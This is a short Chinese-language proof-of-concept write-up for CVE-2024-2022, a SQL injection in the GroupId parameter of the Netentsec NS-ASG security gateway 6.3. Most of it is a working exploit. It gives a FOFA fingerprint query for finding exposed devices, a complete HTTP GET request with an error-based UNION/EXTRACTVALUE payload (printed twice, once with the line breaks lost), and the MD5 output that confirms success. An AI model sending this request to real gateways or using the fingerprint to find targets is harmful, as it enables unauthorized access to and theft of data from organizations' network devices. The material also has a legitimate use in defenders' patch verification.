CVE-2024-2022漏洞

## 1.漏洞名称
网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入漏洞

## 2.漏洞影响
Netentsec NS-ASG Application Security Gateway 6.3版本

## 3.漏洞描述

网康科技的NS-ASG应用安全网关是一款软硬件一体化的产品，集成了SSL和 IPSecQ，旨在保障业务访问的安全性。

Netentsec NS-ASG Application Security Gateway 6.3版本中/admin/list_ipAddressPolicy.php接口处存在SQL注入漏洞。通过操纵参数GroupId可以导致SQL注入攻击，攻击者可远程发起攻击窃取数据。

## 4.漏洞应用指纹

FOFA

app="网康科技-NS-ASG安全网关"

## 5.漏洞Payload
 

发送如下数据包，计算md5(102103122)

GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

响应内容如果字符串6cfe798ba8e5b85feb50164c59f4bec则漏洞复现成功